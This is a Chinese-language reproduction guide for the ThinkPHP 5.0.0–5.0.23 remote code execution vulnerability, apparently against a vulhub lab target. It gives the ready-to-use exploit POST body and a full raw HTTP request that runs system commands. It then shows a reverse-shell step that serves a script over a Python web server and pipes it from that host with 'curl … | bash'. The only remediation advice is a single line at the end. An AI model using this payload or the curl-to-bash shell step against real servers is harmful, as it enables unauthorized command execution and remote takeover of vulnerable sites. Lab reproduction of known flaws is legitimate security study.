Thinkphp5.0.23远程代码执行漏洞

漏洞简介

Thinkphp5.0.23以前的版本中，获取method的方法中没有正确处理方法名，导致攻击者可以调用Request类任意方法并构造利用链，从而导致远程代码执行漏洞。

影响版本

Thinkphp 5.0.0~ 5.0.23

漏洞复现

在vulhub里面拉取靶场

访问

可以使用burp suite抓包，也可以使用hackbar浏览器插件，总之可以发post请求包就好

请求文件：

/index.php?s=captcha

请求体：

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

hackbar浏览器插件利用

burp suite抓包改包

改为post请求方式

请求包

POST /index.php?s=captcha HTTP/1.1

Host: 192.168.21.31:8080

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 80

Origin: http://192.168.21.31:8080

Connection: close

Referer: http://192.168.21.31:8080/index.php?s=captcha

Upgrade-Insecure-Requests: 1

_method=__construct&filter%5B%5D=system&method=get&server%5BREQUEST_METHOD%5D=ls

反弹shell

在一个文件中写好反弹shell命令

使用python命令在此文件目录开一个web服务

使用python搭建web服务，使用下面俩个哪个都行，此处使用python3，看自己的python环境

# python2

python -m SimpleHTTPServer 8086（8086为web服务端口）

# python3

python3 -m http.server

访问一下确定开启成功

开启监听端口

按照之前的方式发送命令

curl 192.168.21.28:8000/sl.sh | bash

成功反弹

漏洞修复

升级到最新版本（如果是在5.0.0——5.0.23之间的）